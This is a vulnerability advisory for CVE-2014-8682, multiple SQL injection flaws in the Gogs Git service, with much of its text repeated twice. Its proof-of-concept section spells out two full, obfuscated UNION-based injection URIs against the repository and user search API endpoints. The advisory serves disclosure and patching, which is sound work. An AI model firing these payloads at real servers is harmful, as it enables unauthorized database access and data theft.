Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
BID:71187
Info
Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 71187 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-8682 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 19 2014 12:00AM |
| Updated: | Nov 19 2014 12:00AM |
| Credit: | Pascal Turbing |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
Gogs is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Gogs is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
An attacker can exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
An attacker can exploit these issues using a browser.
The following example URIs are available:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/('%25'%3D'
An attacker can exploit these issues using a browser.
The following example URIs are available:
http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27
http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/('%25'%3D'
Solution / Fix
Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Gogs CVE-2014-8682 Multiple SQL Injection Vulnerabilities
References:
References: